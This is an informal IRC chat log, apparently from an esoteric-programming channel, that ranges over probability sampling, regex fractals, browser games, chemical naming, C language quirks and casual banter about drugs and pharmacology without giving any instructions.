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19:04:42 <fizzie> Incidentally, is there some obvious way from sampling from a categorical distribution where the probabilities are given as log(p)? I mean, other than just doing exp() on them and doing the usual compute-cumulant-sample-uniformly-from-unit-interval thing.
19:25:58 <zzo38> I have another idea, which is, a sequent calculus of a programming language, where a sequent corresponds to the type of the program; input channels on the left and output channels on the right. The rules would have side-effects. The "init" rule then corresponds to a program that copies its input to its output, and "cut" to the creation of a new channel to communicate across two threads of the program.
19:27:13 <zzo38> The program, whether or not it halts, is a proof.
19:30:57 <Jafet> fizzie: if the probability is log(p) why would you sample using p
19:31:42 <Bike> I thought fizzie meant that the probability is p but the value provided is log(p).
19:31:55 <int-e> So -oo, 0 instead of 0,1.
19:31:55 <fizzie> Yes, that is what I meant.
19:32:27 <int-e> fizzie: But I see no better way.
19:33:01 <int-e> Since log(p+q) doesn't have a nice interpretation in terms of log(p) and log(q).
19:33:47 <Slereah> You can do it by taylor series
19:33:51 <fizzie> Right. I just wonder, since this file format stores the values as log(p) instead of p.
19:34:30 <int-e> is it using fixed point then?
19:35:13 <int-e> (then storing log(p) instead of p would give you the benefits of a floating point representation)
19:35:23 <int-e> precision wise, at least.
19:35:27 <fizzie> It's a text-based format, so it's kind of hard to say. I guess it could be just avoiding exponential notation.
19:37:02 <int-e> alternatively, maybe people typically want to multiply a lot of those probabilities; now they can add them, and exponentiate in the end.
19:37:18 <fizzie> Well, that's certainly true, too.
19:37:40 <fizzie> (In fact, they probably won't usually even exponentiate at the end, thanks to monotonicity.)
19:38:37 <Jafet> You'll need -log p bits to sample p
19:39:14 <Jafet> But you might be able to use a table for log p, if you sample from an exponential distribution instead of a uniform one
20:07:59 <fizzie> http://sprunge.us/XgjW almost there
20:10:35 <Jafet> Perhaps these instructions can serve as inspiration for zzo's architecture.
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20:43:30 <fizzie> Done: http://zem.fi/2014-03-26-x86
20:44:25 <fizzie> HSUWPCKHMISSD2PI2EBLSMSKBBR probably gets lots of use.
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22:06:11 <zzo38> My brother decided that we play Yomi cards with Lum vs Rook, because apparently Rook is severely disadvantaged in this matchup. First I played Lum, and I won. Second, I played Rook, and I also won, but, on the last turn we both played attacks of the same speed, so they both hit, and I was left with only one point at the end of the game.
22:08:34 <zzo38> It is a card game, it comes with ten decks of cards.
22:09:14 <zzo38> Each one has the standard 52 cards, plus two jokers, and one character stats card and one rule reminder card. However, all of the cards, except for the joker, have additional markings which differ based on each character, too.
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22:16:20 <myname> seems pretty expensive for a card game
22:19:30 <zzo38> Yes, although it is a good quality.
22:20:57 <myname> well, don't get, why you can't buy these decks one by one
22:22:08 <zzo38> You can buy these decks one by one, although, you shouldn't!
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22:58:42 <Taneb> Captain America: The Winter Soldier was good
23:00:20 <oerjan> shouldn't that have been Captain Finland
23:00:32 <Taneb> The winter soldier was a different character
23:00:37 <Taneb> "Captain America" refers to the series
23:00:50 <Taneb> So really it should have been Captain America AND the Winter Soldier
23:01:06 <oerjan> so, was the winter soldier finnish, then
23:01:14 <Taneb> No, he was American
23:01:38 <Sgeo> We do have winters here, you know
23:01:57 <oerjan> i think y'all are not familiar with the winter war.
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23:12:25 <shachaf> http://sjoerdvisscher.handcraft.com/regexfractal.html
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23:24:09 <lexande> the winter soldier could also reasonably be russian?
23:30:45 <ion> shachaf: cool
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23:38:37 <oerjan> my failed attempt at a spiral still seemed slightly interesting ^(?:13|24|31|42)*(?:[12]*|[23]*|[34]*|1?4[14]*|14[12]*)$
23:39:55 <oerjan> (probably more than a spiral, anyway)
23:41:16 <Taneb> lexande, definitely in the comics was Russian-commanded?
23:41:25 <Taneb> It is too late for me
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23:42:01 <Sgeo> How is coloring determined?
23:44:00 <oerjan> Sgeo: length of the first three capturing groups correspond to RGB
23:45:31 <oerjan> e.g. i surrounded my chess pattern with ()( ... ) to make it green
23:46:05 <Taneb> I have not been making sense
23:46:07 <oerjan> and (( ... )) would make it yellow
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23:57:36 <oerjan> strange bugs ^(?:13*(?:4[14]*|.[12])*|24*(?:[12]*|[23]*)|31*(?:[23]*|[34]*)|42*(?:[34]*|[14]*))$
23:58:33 <oerjan> oh misplaced parentheses, should be ^(?:13*(?:4[14]*|.[12]*)|24*(?:[12]*|[23]*)|31*(?:[23]*|[34]*)|42*(?:[34]*|[14]*))$
23:58:44 <oerjan> (there you go, spiral)
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00:01:17 <oerjan> (making an actual circular spiral left as exercise for the reader)
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01:50:06 <oerjan> to split, perchance to roam
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03:49:57 * Sgeo remembers when he believed VRML could never have gravity. Now VRML is dead.
03:50:10 <Sgeo> (And has gravity)
03:52:50 <oerjan> y'all are giving me `addquote withdrawal.
03:57:40 <kmc> just do it anyway and someone will grep the logs later
03:58:32 <kmc> did I mention that Rust actually does have quasiquote!!! https://github.com/kmcallister/html5/blob/master/macros/named_entities.rs#L103-L110
03:58:34 <oerjan> kmc: but `pastelogs wasn't working even when HackEgo was
03:59:30 <oerjan> (iiuc Gregor didn't bother to move them to same machine - or worse, he may have moved them apart precisely to use less resources on each host)
04:00:58 <oerjan> basically Gregor is evil, and now he hosts the wiki too!
04:01:15 <kmc> i thought fizzie was runnig the wiki
04:01:18 <kmc> or is running != hosting
04:01:28 <oerjan> indeed running != hosting
04:01:46 <oerjan> elliott couldn't convince one of them to do the whole job alone
04:04:02 <Sgeo> ADdicfted to http://animuchan.net/moz_game/
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04:10:08 <Sgeo> Game over. Deaths: 144
04:10:15 <Sgeo> Although I had to restart once because closed the tab
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04:13:30 <Sgeo> The original 2d version has different music
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04:17:05 <ion> I’m not a huge fan of the input latency
04:17:49 <Sgeo> The 3d or 2d version, or do both have it?
04:18:03 <ion> The one you linked
04:20:11 <Sgeo> Try http://www.lessmilk.com/3/ and see if it's better?
04:20:21 <ion> Yeah, just trying it. It seems to be better indeed.
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04:22:15 <Sgeo> Wonder if it's graphics card related
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04:22:49 <ion> Died 127 times.
04:22:59 <ion> The framerate was fine, there was just a noticeable input lag.
04:23:52 <kmc> VVVVVV has better music
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04:26:13 <kmc> 78 times (on the 2D version)
04:27:17 <Sgeo> http://www.lessmilk.com/8/
04:28:58 <Sgeo> I am struggling with what looked like a simple game
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04:30:54 <ion> “- you are not supposed to see this -”
04:31:14 <ion> And it wouldn’t let me type that and the bomb dropped to the city.
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04:32:33 <Sgeo> People in comments saying that enter works for -
04:33:14 <Sgeo> I can't get that far though
04:33:19 <Sgeo> The gibberish trips me up
04:34:41 <ion> Enter worked, then it said “are you a hacker? -” and wouldn’t let me type the question mark.
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04:36:23 <Sgeo> If it's possible to type the question mark, comments don't know how
04:36:30 <Sgeo> And in the source, there are no sentences beyond that
04:36:52 <kmc> llllook at you hacker, a pathetic creature of meat and bone
04:37:21 <ion> an ugly sack of mostly water
04:40:50 <Bike> is bone so much different from meat, when you think about it
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04:41:44 <kmc> Bike: bone makes better soup broth
04:42:02 <kmc> sometimes I come home and there is a pound of chicken feet in the refridgerator and this is why
04:42:36 <Bike> bone is so complicated though http://en.wikipedia.org/wiki/File:Caput_femoris_cortex_medulla.jpg
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04:51:27 <kmc> im gonna write all the macros
04:52:19 <Bike> kmc's a big fan of paul graham
04:52:54 <newsham> paul graham is a genius.. he must be.. he is rich!
04:53:36 <newsham> soon arc will have dozens of users!
04:54:03 <ion> Larry Graham is pretty cool, too. He invented the slap bass technique. We seem to have enough samples to make an extrapolation about all people named Graham.
04:54:24 <kmc> what about graham's number
04:54:55 <oerjan> well that's an outlier by nearly all measure
04:54:55 <kmc> fuck sylvester graham tho
04:55:09 <kmc> he invented the graham cracker as a food so boring it would make people want to stop having sex
04:55:38 <newsham> how do you explain s'mores?
04:55:51 <kmc> I don't fucking understand why people get so upset about teenagers masturbating
04:56:01 <Bike> they'll go blind
04:56:25 <kmc> isn't it healthier and more harmless than basically anything else they'd be doing
04:57:33 <kmc> here's an activity that feels good, is good for you, requires no special equipment and consumes almost no resources... WE MUST STOP IT AT ALL COSTS
04:58:04 <Bike> way to be a shill for the masturbation lobby
04:58:12 <newsham> "tell a doctor if you experience uncontrolled muscle movement, as this can become permanent"
04:58:20 <newsham> why do peopel buy these poisons?
04:58:31 <kmc> Bike: they're just looking for a handout
04:58:34 <kmc> greasing some palms in washington
04:59:54 <prooftechnique> Well, I imagine if you're depressed the idea of uncontrolled muscle movement has to be weighed against crushing emptiness
05:00:17 <newsham> you know whas worse than the feeling of crushing emptiness?
05:00:26 <newsham> actual literal crushing emptiness
05:00:26 <Bike> abilify, jesus
05:00:29 <ion> https://twitter.com/pbowden/status/448579361353240576
05:00:36 <newsham> another side effect of abilify
05:00:39 <Bike> trade names are a scourge
05:01:06 <Bike> oh hey it's got chlorines...
05:01:38 <newsham> i imagine people would be better if someone just sold them some pot or even some crack or heroin
05:02:02 <Bike> when you assume, you make an
05:03:12 <kmc> ion: bahaha
05:03:20 <ion> presumption
05:03:45 <kmc> I would guess that something named "aripiprazole" is harder to market
05:04:16 <newsham> best part about smoking pot: doesn't give you parkinson's disease
05:04:24 <Bike> it's not my fault the public is inadequately knowledgeable about orgo
05:04:53 <Bike> parkinsonism isn't parkinson's disease.
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05:05:57 <prooftechnique> newsham: I would say there are certain even better parts to smoking pot
05:06:12 <kmc> you realize that the side effects don't happen to everyone right?
05:06:16 <kmc> and that crack is also known to have side effects
05:06:34 <newsham> no, kmc, this did not occur to me
05:06:59 <Bike> http://en.wikipedia.org/wiki/Cannabidiol#Isomerism huh, that's interesting
05:07:13 <kmc> that's good stuff
05:07:22 <newsham> proof: you realize that not everyone that takes crack is fun at parties
05:07:47 <kmc> not everyone that takes crack is mayor of toronto
05:07:49 <Bike> if orgo people embraced the combinatorics inherent in the field i would be one happy camper
05:08:00 <Bike> no word on whether i'd be a high camper
05:08:09 <kmc> Bike: I had an idea that orgo synthesis is like proofs
05:08:27 <Bike> long if you're doing anything nontrivial, and nobody reads them?
05:08:41 <kmc> you have a system of formal objects (labeled graphs, rather than strings), and certain templated manipulations on them
05:08:45 * Bike still burnt out after learning cortisone synthesis
05:08:48 <kmc> and you need to derive a result from some available premises
05:08:51 <kmc> but this breaks down in all kinds of ways
05:09:10 <kmc> aiui a lot of the steps are like "this will yield between 5% and 95% and nobody knows why"
05:09:11 <Bike> yeah, like when you need to do some spectrometry to verify that you've gotten the right product
05:09:28 <kmc> Bike: tell me about cortisone synthesis
05:09:39 <kmc> http://upload.wikimedia.org/wikipedia/commons/7/7d/CubaneSynthesis.png
05:09:52 <Bike> there's a biochemist nanotech guy in #lisp doing something horrifying with SMILES. i tried reading one of his papers and holy shit he was like inventing his own analog of proteins??
05:10:35 <Bike> well, i was reading my intro endocrinology book and it mentioned that cortisone production was the hardest thing ever attempted by the pharm industry (this was in the 60s)
05:11:02 <Sgeo> I have no idea what music is playing on the 3d version
05:11:09 <Bike> the natural methods involved, like, getting several thousand tons of cattle, ripping out a few glands, extracting certain chemicals, and ending up with a yield on the order of grams, so i could see why they'd want to do synthesis
05:11:10 <Sgeo> Seems to be encoded via LAME though
05:11:17 <Sgeo> http://animuchan.net/moz_game/media/audio/music.mp3
05:11:26 <kmc> also http://en.wikipedia.org/wiki/Octanitrocubane which would be the best explosive ever if anybody could manage to make it
05:11:37 <Bike> so i looked it up and it was like, you started out with this complex organic thing that was already produced
05:11:57 <kmc> hexanitrohexaazaisowurtzitane
05:12:01 <Bike> and then you went through, literally, over twenty steps, some of which take over a day, and half of which came with spectrograms to verify that it worked
05:12:04 <kmc> is an exciting word
05:12:18 <Bike> and that got you a precursor, which through three more twenty-step procedures got you another compound
05:12:24 <Bike> and that other compound had a known path to cortisone.
05:14:09 <kmc> newsham: I find weed to be pretty effective at treating acute symptoms of depression and anxiety, but it doesn't really help me in the long term when I'm not stoned
05:14:15 <kmc> except in the sense that it's nice to have a fucking break
05:14:24 <kmc> also, it's not always helpful
05:14:37 <Bike> http://en.wikipedia.org/wiki/File:Edward_Calvin_Kendall_nobel.jpg edward kendall is watching you kill animals
05:14:46 <kmc> frequently makes anxiety worse, although indica strains less so in my recent experience
05:14:50 <kmc> prooftechnique: i've heard that
05:15:17 <kmc> I used to take 5HT psychedelics every few weeks and that was pretty effective too, but I don't think I'm up for it anymore
05:15:36 <Jafet> fizzie should make an IUPAC name generator
05:15:56 <Bike> huh, tetrahedrane is harder to synthesize than truncated icosahedron -ane
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05:17:51 <Bike> http://pubs.acs.org/doi/abs/10.1021/ci00062a010 hell fucking yes
05:18:19 <quintopia> when i asked you guys which game i should play next you all either said Braid or Bastion. No one picked Limbo. And Limbo is so much more fun than Braid.
05:20:02 <kmc> wait CBD isn't a scheduled drug at all? interesting
05:20:11 <kmc> unless it's derived from the demon reefer, of course
05:21:08 <pikhq> As we all know, what makes something "bad" is actually its origin.
05:21:30 <pikhq> This is why I use only pipes made of free-range lead.
05:21:55 <Bike> http://en.wikipedia.org/wiki/File:TMS-tetrahedrane-3D-vdW.png "sup"
05:22:49 <Bike> kmc: http://en.wikipedia.org/wiki/Tetrahydrocannabinol#Isomerism i like how different isomers are scheduled differently
05:23:59 <Bike> kmc: actually now that i think about it that's another flaw with the labeled graphs thing, you need to distinguish isomers...
05:25:32 <kmc> coming up with a good formal model of the molecules is non-trivial, but could be done
05:25:37 <kmc> that's what systemic naming is already about
05:25:45 <kmc> but I think formally modeling the reaction steps is the really hard part
05:25:53 <prooftechnique> I dunno. I was just thinking that colorings of the graphs could be used to represent isomers
05:26:07 <Bike> i'm seriously pretty skeptical that IUPAC nomenclature is actually used for anything more complicated than like, dopamine
05:26:25 <Bike> and god i have no idea how organic reactions work.
05:26:39 <Bike> i hear in orgo 1 classes you have to memorize a shitload of reactions because they don't tell you the theory until orgo 2 ;_;
05:28:08 <Bike> perhaps i can fix this with a bit of pauling, who explains quantum before table salt
05:28:09 <quintopia> prooftechnique: Limbo reminded me of ayim at times
05:28:38 <quintopia> prooftechnique: but ayim plays in one hour, while Limbo manages to last 3.
05:28:57 <kmc> also at my school ochem was at 9 in the morning and was one of the few classes with in-class tests and quizzes
05:29:23 <Bike> prooftechnique: i have an undergrad textbook he wrote.
05:29:28 <Bike> it's kinda dated but still pauling
05:29:52 <pikhq> Bike: Yep, chemistry education seems to pretend that injecting a book in your head is the important part.
05:30:06 <Bike> it's so sad! i honestly love the theory
05:30:35 <Bike> i can kind of understand why they'd want to back away from it, you need to be able to do like, quantum electrothermodynamics
05:30:56 <Bike> which, honestly, in my not-fully-a-chemist career i'm never going to use, so
05:32:11 <kmc> Bike: as long as you know enough to synthesize LSD for me
05:32:40 <Bike> "following a recipe without burning myself alive" will hopefully be in my capabilities
05:32:49 <kmc> it's p. complicated
05:32:53 <Bike> though i ddid nearly go into lab in shorts today...
05:32:57 <Sgeo> http://www.souleye.se/adventure music by the person who made VVVVVV music, including remixes of the VVVVVV songs
05:33:26 <Bike> we actually weren't working with anything caustic, lol. just some dye
05:34:06 <Sgeo> "This album contains, among other things, the two missing tracks from VVVVVV 2.0 that didn't make it to PPPPPP, the remix of Predestined Fate that was in VVVVVV 3DS, the completely reworked VVVVVV tracks used in the game Pulsen, remixes of game tunes my friends wanted me to make, polished up material from my site, entirely NEW content AND secret bonus tracks! "
05:34:23 <kmc> maybe one day you'll be a grad student and you'll have to be a TA for Intro Chem Lab For People Who Don't Give A Fuck
05:36:22 <Bike> i'll have to TA something, that's for sure
05:36:30 <Bike> i kind of regret being good at math because what if i get a job TAing math?
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05:42:07 <kmc> I know that grad students, as a rule, drink heavily, but do statisticians have a particular fondness for Guinness?
05:43:14 <prooftechnique> In particular, https://en.wikipedia.org/wiki/Student%27s_t-test
05:43:17 <pikhq> Oh, right. The test that was made by a Guinness employee. :)
05:44:58 * Bike notices he has no idea what statistics researchers do nowadays
05:45:36 <Bike> well everybody does that
05:46:05 <Bike> Ioannidis isn't even a statistician...
05:46:14 <Bike> (i mean, so to speak)
05:46:35 <oerjan> Bike: just random stuff hth
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05:58:43 <Sgeo> Thanks, FedEx, for that commercial, which would totally convince me to use your services... if it was the shipee that chose the carrier
05:59:27 <lexande> the merchant may offer you some kind of choice
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06:08:08 <Sgeo> Wonder if anyone goes to Smalltalk places thinking it will help them with conversation skills
06:09:23 <kmc> wonder if anyone goes to Smalltalk places
06:09:39 <prooftechnique> I imagine all the Self places are full of aimless 30-somethings
06:09:57 <lexande> where do the aimless 20-somethings go?
06:23:41 <kmc> Bike: consuming some CBD right now
06:23:51 <Bike> consume that shit good, pardner
06:23:55 <kmc> don't know which isomer
06:24:52 <Bike> i never toke without a spectrometer
06:33:05 <fizzie> oerjan: Incidentally, the wiki is now running on the same machine HackEgo is. (But I don't really know anything about hackbot, so I shouldn't probably go poking around trying to find why it's all "No output." these days.)
06:34:05 <Zom-B|zz> piet http://www.mezzacotta.net/garfield/?comic=559
06:35:54 <kmc> nah just fix it
06:36:26 <oerjan> Zom-B|zz: fizzie made that
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06:37:53 <oerjan> no, that's a collaborative comic site
06:38:23 <oerjan> which is admined by david morgan-mar, piet's creator, although the comic has no other relation to piet
06:38:31 <Bike> no i like the idea that fizzie blogs in the form of edited garfield comics
06:39:05 <oerjan> zem.fi is fizzie's site
06:39:26 <oerjan> i'm not sure he has a blog there, i just keep seeing post unconnected links
06:40:21 <oklopol> there's something called a blog at lesat
06:40:26 <Zom-B|zz> what do you mean with admined?
06:41:26 <oerjan> Zom-B|zz: that he's the sysadmin for all of mezzacotta.net, as well as some other sites which are linked from there
06:42:01 <oklopol> i was wondering how you could possibly know that
06:42:40 <Zom-B|zz> David Morgan-Mar only did some comics ther (found via te authors tab)
06:43:01 <oerjan> david morgan-mar's own blog, dangermouse.net, is _not_ linked immediately from any obvious place in mezzacotta though, i think.
06:43:56 <Zom-B|zz> maybe i'll send him a note about my piet-inspired Floater
06:43:57 <oerjan> Zom-B|zz: irregular webcomic was dmm's personal comic. he's starting up a new personal comic in april btw
06:44:43 <oerjan> and darths & droids is not dmm's comic alone, but it has a small set of authors (all his coworkers, i believe)
06:44:59 <Zom-B|zz> i'm still in the progress of making a mandelbrot fractal ans other stuff in Floater, but as expected my job is slurping all my time
06:45:03 <oerjan> the rest on there is collaborative in some way or other
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06:45:17 <Bike> jobs more like terrible
06:46:13 <Bike> "I was the same way for a long time, and I think it’s because Achewood is so tightly character-focused that, if you’re not familiar with it, it just looks like a bunch of weird dogs saying weird words to each other. Turns out, those dogs are actually cats. Who knew?" ok
06:49:19 <oerjan> quintopia: i don't know manyhills other than from seeing him on that site, but i think Taneb knew him from some other place too
06:49:59 <oerjan> well i _vaguely_ recall he may have been here on the channel some time i wasn't.
06:50:09 <oerjan> or wasn't paying enough attention.
06:51:57 <oerjan> Bike: hm isn't only one of the dogs a cat? not that i pay much attention to achewood
06:52:08 <Bike> i don't either
06:52:59 <oerjan> hm i may be confusing with another comic
06:53:54 <oerjan> oh i think i was thinking of get fuzzy
06:59:20 <shachaf> i thought some of the dogs were dogs and some were cats
06:59:24 <shachaf> and some were other animals
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07:29:15 <fizzie> oerjan: I blogified zem.fi the other day.
07:29:25 <fizzie> oerjan: To make it more trendy, y'see.
07:30:16 <fizzie> oerjan: Even went so far as to convert everything that used to be there into backdated fake "blog posts".
07:34:38 <kmc> CVTTPMVCVTTSS2USMSKB
07:36:10 <fizzie> PCLMULPGATHERDSUWRFNSSDWD
07:36:10 <oklopol> that makes sense because i've been there before but saw no blog
07:36:43 <kmc> how about a quiz that gives you 8 fake mnemonics and 8 real ones and you have to decide which are which
07:39:35 <fizzie> Sounds like the next Flappy Bird to me.
07:40:00 <fizzie> Re the IUPAC name generator, a PCFG might work better there than an ngram model.
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07:52:07 <Bike> probabilistic context-free grammar?
07:54:54 <fizzie> Given that they have so much structure.
07:55:09 <fizzie> Random pubchem IUPAC entry: 2-acetamido-3-[[2-acetamido-3-[[4,5-dihydroxy-6-(hydroxymethyl)-2-(2,3,4,5,6-pentahydroxycyclohexyl)oxyoxan-3-yl]amino]-3-oxopropyl]disulfanyl]-N-[4,5-dihydroxy-6-(hydroxymethyl)-2-(2,3,4,5,6-pentahydroxycyclohexyl)oxyoxan-3-yl]propanamide
07:57:56 <Bike> i get lost as soon as mido- :/
07:59:24 <Bike> not sure about oxyoxan either
08:01:23 <Bike> kind of unbelievable how complicated "2,3,4,5,6-pentahydroxycyclohexyl" is, since the actual structure really isn't
08:04:23 <olsner> would all randomly generated iupac names be real/possible substances?
08:07:30 <Jafet> For improbable values of possible
08:07:40 <Jafet> Are those brackets part of the name
08:08:02 <Bike> yes, they indicate a side chain
08:09:27 <Bike> olsner: you might be able to name some that are physically impossible for reasons not part of IUPAC nomenclature, like if there are too many atoms to fit in three dimensions
08:11:22 <olsner> so what's the probability that fungot randomly generates the cure for cancer?
08:11:23 <fungot> olsner: i get stack overflow... not a lot of energy fnord beyond the blade. except if there's something that is so, the whole design philosophy is based on
08:12:18 <Bike> i was going to say you could probably put huge amounts of atoms in to get stupid shit but apparently cycloicosane has a known structure so fuck, what isn't possible
08:13:14 <oerjan> what's the IUPAC for buckminsterfullerene
08:13:26 <Bike> haha someone's actually synthesized cyclohexacontane
08:13:42 <Bike> (C60-Ih)[5,6]fullerene, how boring
08:13:48 <Bike> (some of t hose are subscripts)
08:14:30 <Bike> "Cyclomagnesation of α,ω-diallenes by EtMgBr in the presence of chemically activated Mg and Cp 2 TiCl 2 catalyst led to the formation of cyclic organomagnesium compounds whose hydrolysis provided gigantic hydrocarbon macrorings with 1,5-cis-disubstituted double bonds." i don't know why you'd do this but it rules
08:15:07 <oerjan> have they made a fake chemistry paper generator yet
08:15:33 <fizzie> (C\{60}-I\{h})[5,6]fullerene seems to be PubChem's syntax for subscripts, good to know.
08:15:34 <Bike> i can't believe this compound exists. imagine buckministerfullerene except all the carbons are just in a stupid circle
08:15:45 <Bike> fizzie: OH BOY more markup ;_;
08:16:14 <fizzie> There's also 2,4-dihydroxy-6-(hydroxymethyl)-6-methyl-2,4-dioxo-1,3,5,2$l^{5},4$l^{5}-trioxadiphosphocan-7-ol where ^ is probably superscript but I don't know about $l.
08:16:16 <oerjan> why didn't they just borrow latex
08:16:39 <oerjan> it would be just using _ instead of \ afaict
08:16:41 <Bike> because god is dead
08:16:53 <Bike> let me tell you about SMILES
08:17:58 <Bike> http://en.wikipedia.org/wiki/File:Cephalostatine-1.svg the sad thing is, compounds like this actually exist
08:18:27 <Bike> ok the iupac rules
08:18:33 <Bike> «(2S,3R,3'R,3''R,4'S,4a'R,5S,6b'R,8a'S,11a'S,11b'S,13'R,13a'R,13b'S,14'S,16a'S,17b'R,19a'S,22a'S,22b'S,24a'R)-3,3'',13',13b'-Tetrahydroxy-5-(hydroxymethyl)-4',5,5'',5'',11a',13a',14',22a'-octamethyl-4, 4',4'',4a',5,5',5'',6b',7',8',8a',9',11',11a',11b',12',13',13a',13b',14',16a',17b',18',19',19a',20',22',22a',22b',23'-triacontahydro-3H,3''H,24'H-dispiro[furan-2,15'-furo[3'',2'':3',4']cyclopenta[1',2 ':5,6]naphtho[1,2-b]pyrano[3'',4'':2',3'
08:18:40 <Bike> i imagine that cut off
08:19:39 <fizzie> Oh, $l is λ. Well, of course it is.
08:20:15 <oerjan> so i take it SMILES is evil but InChl is worse?
08:21:47 <Bike> as far as i'm concerned they're twin horses of the apocalypse
08:22:27 <Bike> "The InChIKey, sometimes referred to as a hashed InChI, is a fixed length (25 character) condensed digital representation of the InChI that is not human-understandable. The InChIKey specification was released in September 2007 in order to facilitate web searches for chemical compounds, since these were problematic with the full-length InChI.[5] It should be noted that, unlike the InChI, the InChIKey is not unique: though collisions can be c
08:23:09 <Bike> http://chem-bla-ics.blogspot.nl/2011/09/inchikey-collision-diy-copypastables.html hell yes. hash collision of hydrocarbons
08:24:08 <oerjan> isn't evolution basically a search for hash collisions of hydrocarbons
08:24:39 <Bike> usually they're not just higher alkanes with a few methyls slapped on though ;p
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10:21:55 -!- int-e has set topic: a variety of colorful fish, but the darkness of HackEgo | PSA: fizzie is running the wiki now, contact him for any problems | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/.
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10:26:38 <boily> `echo Is HackEgo stil as dark as he is?
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10:33:39 <boily> int-hello. ihellon. olsnellor.
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10:58:15 <Jafet> Haskell programmers can search infinite fractal functions lazily using 100k green threads running EDSLs that compile down to native token ring mapreduce shootout cloud but they can't make two libraries build together
10:58:22 <Jafet> Error: Couldn't match type `M.Map Int a0' with `containers-0.5.0.0:Data.Map.Base.Map v0 c0'
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10:59:44 <boily> Jafet: you dared using two libraries in your project? how plebeian of you! the Rightful Compiler was right to snob your code!
11:02:05 <Jafet> Well, when I started out, I wanted to use 16.
11:03:04 <boily> *shocked gasp* *wild flaying* *abject repulsion*
11:04:01 <boily> seriously, the State of the Libraries is abysmal. we really should follow through the propositions of curating a set of well behaved libraries.
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11:07:00 <ion> http://www.independent.co.uk/news/world/americas/homeopathy-product-recalled-over-fears-it-may-contain-actual-medicine-9217206.html
11:07:38 <olsner> based on the various "how to fix cabal" or "the problem with cabal" posts I've read, I've concluded that no-one knows what the problem really is
11:11:15 <Jafet> It turned out that cabal had happily gone off and installed containers-0.5.5 under a new package. This made it impossible to use that package with any others, which depended on containers-0.5.0.
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12:22:22 <password2> mmm , i wonder if i should release a qt lib for bf^
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13:17:55 <fizzie> Jafet: Bike: http://zem.fi/tmp/iupac.html
13:22:41 <Taneb> Is that a... chemical name generator?
13:23:21 <Jafet> I wasn't actually expecting fizzie to do this.
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13:24:14 <Jafet> How did you get a grammar for that?
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13:27:08 <fizzie> I just built one from the first 100000 IUPAC names of PubChem.
13:27:37 <fizzie> Well, with an a priori structure, that is; no fancy grammar induction there.
13:30:44 <fizzie> The ones that are like "1" are quite boring, but that's more or less a limitation of the framework; there are a number of names that consist of a single "component", and there are a number of dash-separated components that consist of a single digit, so the resulting PCFG will have a reasonably high likelihood for generating a single-digit name, since it can't model dependencies like that.
13:38:37 <Phantom_Hoover> MEANWHILE IN /R/BITCOIN (this one is just perfect): https://pay.reddit.com/r/Bitcoin/comments/21g6sx/i_am_a_tax_attorney_here_is_what_the_irs_notice/cgctrb8
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13:50:42 <Taneb> Phantom_Hoover, thank you again for your DF anthracite mod
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14:14:01 <int-e> wtf. "The State is an engineering problem, not a social problem."
14:15:25 <int-e> oh well, whatever.
14:15:42 <Jafet> Social engineering, the best engineering
14:16:14 <int-e> the author lists the wrong kind of tools
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16:44:54 <Zom-B|aw> found a language thats not on the wiki: http://www.mit.edu/~puzzle/2014/puzzle-solution/callooh_callay_world/
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16:50:10 <myname> The remainder is tweedled, then "unzipped" (modged), and then frolicked
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17:28:01 <kmc> i wrote this an age ago, when I was taking undergrad intro physics https://gist.github.com/kmcallister/9813132
17:28:08 <kmc> it produces output like http://mathb.in/14776
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17:39:35 <kmc> ooh I'd forgotten about srand (time ^ $$ ^ unpack "%L*", `ps axww | gzip -f`);
17:39:49 <kmc> this was at one point recommended by the perl documentation, for cryptographic purposes even http://perldoc.perl.org/5.12.2/functions/srand.html
17:44:22 <myname> would be even better if you could state where you start and where you want to end
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18:00:16 <kmc> also, it's fun how these two C functions produce completely different results:
18:00:17 <kmc> size_t f(int x[10]) { return sizeof(x); }
18:00:17 <kmc> size_t g() { int x[10]; return sizeof(x); }
18:00:46 <kmc> because int *x, int x[], int x[5], and int x[10] are entirely equivalent as function arguments, but not elsewhere
18:13:40 <myname> is that any surprising?
18:15:13 <Taneb> kmc, what about int x[][10]?
18:19:02 <Bike> srand (time ^ $$ ^ unpack "%L*", `ps axww | gzip -f`); <-- lol
18:19:23 <kmc> Taneb: as an argument? that'd be the same as int **x I think
18:19:57 <kmc> myname: I think it's pretty weird and bad; it doesn't surprise me anymore because I know C well
18:21:14 <fizzie> kmc: No, it would be the same as int (*x)[10].
18:21:33 <Zom-B|aw> pointer and int have same size , no?
18:21:35 <kmc> but isn't that the same as int **x, when used as a function argument?
18:21:46 <myname> kmc: well, c is weird and bad :p
18:21:53 <kmc> Zom-B|aw: not guaranteed, and often not in practice
18:22:02 <kmc> for example on amd64 linux
18:22:03 <fizzie> [20:22:38] <fizzie> ,cc size_t f(int x[][10]) { return sizeof *x; } printf("%zu", f(0));
18:22:06 <fizzie> [20:22:40] <candide> fizzie: 40
18:22:19 <kmc> okay, I see
18:22:28 <fizzie> [20:23:09] <fizzie> ,cc size_t f(int **x) { return sizeof *x; } printf("%zu", f(0));
18:22:31 <fizzie> [20:23:11] <candide> fizzie: 8
18:22:36 <kmc> that's even weirder -_-
18:22:56 <kmc> I presume int x[10][10] would work the same?
18:23:22 <fizzie> Yes. It's only the "first level" of arrayness that is altered to be a pointer in a function parameter.
18:23:24 <kmc> Zom-B|aw: if you need a pointer-size integral type there's intptr_t and uintptr_t
18:23:29 <kmc> also ptrdiff_t
18:24:31 <fizzie> With intptr_t/uintptr_t, it's good to keep in mind that the only guaranteed use is from an arbitrary (object) pointer to (u)intptr_t and back again; not from an arbitrary-valued (u)intptr_t to pointer.
18:24:53 <kmc> what are some other examples of bizarre and surprising behavior from C? maybe in the spirit of the JavaScript "Wat" talk
18:24:59 <kmc> integer promotion rules for sure...
18:25:50 <Bike> "chars aren't very good characters"\
18:26:25 <fizzie> Some of the rules involving mixed signed/unsigned values are quite confusing.
18:30:39 <fizzie> Fun fact (disclaimer: from memory, haven't checked): glibc implements some of the <ctype.h> functions (int isprint(int) etc.) using a pointer to the 128th element of a 384-element look-up table, because those are spec'd to take an 'unsigned char' value as an int but presumably people on plain-char-is-signed systems kept passing negative numbers instead.
18:31:41 <fizzie> Arguably, the fact that isprint(c) for a char c can be undefined is surprising?
18:35:12 <fizzie> ("In all cases the argument is an int, the value of which shall be representable as an unsigned char or shall equal the value of the macro EOF. If the argument has any other value, the behavior is undefined." C11 7.4p1)
18:35:28 <Zom-B|aw> complex pointer arithmetic that's just as hard to port to a high language as spaghetti code
